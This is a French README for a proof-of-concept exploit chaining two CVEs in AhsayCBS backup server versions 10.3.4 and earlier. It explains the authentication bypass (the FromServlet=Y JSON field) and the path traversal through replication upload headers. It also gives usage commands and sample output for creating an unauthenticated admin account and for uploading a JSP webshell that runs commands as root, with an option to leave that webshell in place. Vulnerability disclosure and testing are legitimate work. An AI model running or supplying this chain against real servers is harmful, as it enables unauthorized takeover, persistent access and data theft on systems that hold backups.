Une preuve de concept d'exploit pour CVE-2026-105133 et CVE-2026-105134 affectant AhsayCBS
CVE-2026-105133 + CVE-2026-105134 — Exécution de code à distance non authentifiée dans AhsayCBS ≤10.3.4
Une analyse technique couvrant la cause racine, l'exploitation et les indicateurs de compromission est disponible sur le blog de recherche sur les attaques de Horizon3.ai :
Les versions 10.3.4 et antérieures d'AhsayCBS sont vulnérables à une exécution de code à distance non authentifiée via deux failles enchaînées de contournement d'authentification et de traversée de chemin dans les modules JSON API et de récepteur de réplication. Un attaquant peut obtenir un contrôle administratif complet ou une RCE directe sans identifiants.
La méthode com.ahsay.obs.api.json.JSONApi.execute() ignore la validation des identifiants checkSysPwd() lorsque le corps de la requête JSON contient {"FromServlet":"Y"}. Cela permet à tout attaquant non authentifié d'invoquer chaque action de l'API JSON sans identifiants.
Impact : Accès non authentifié à l'API JSON pour des opérations sensibles.
Le point de terminaison d'upload de fichiers du récepteur de réplication (PUT /rps/obs7/rpsfile/upload) construit le chemin d'écriture à partir des en-têtes UserHome et TopDir contrôlés par l'attaquant via getReplicatedPath() sans appliquer la liste de refus de chemins com.ahsay.c. Un attaquant peut traverser vers le répertoire servi par le web de Tomcat (../../webapps/) pour téléverser des fichiers JSP exécutables.
Utilise le contournement d'authentification pour créer un nouveau compte administrateur système. Fonctionne sur toute installation d'AhsayCBS, indépendamment de la licence ou de la configuration de réplication.
python3 ahsay_rce_poc.py --url https://target.example.com
Sortie :
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
Exploite la traversée de chemin dans le récepteur de réplication pour téléverser un webshell authentifié. Nécessite que la cible soit sous licence et configurée comme récepteur de réplication. Obtient une RCE avec le compte de service.
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
Sortie :
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
Testez si la cible est vulnérable sans effectuer aucune modification :
python3 ahsay_rce_poc.py --url https://target.example.com --check
Créez un nouveau compte administrateur :
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
Exécuter des commandes via un webshell temporaire :
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
« Ce logiciel a été créé purement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes, sauf lorsque cela est explicitement autorisé. » Les mainteneurs du projet déclinent toute responsabilité en cas de mauvaise utilisation. Utilisez-le de manière responsable.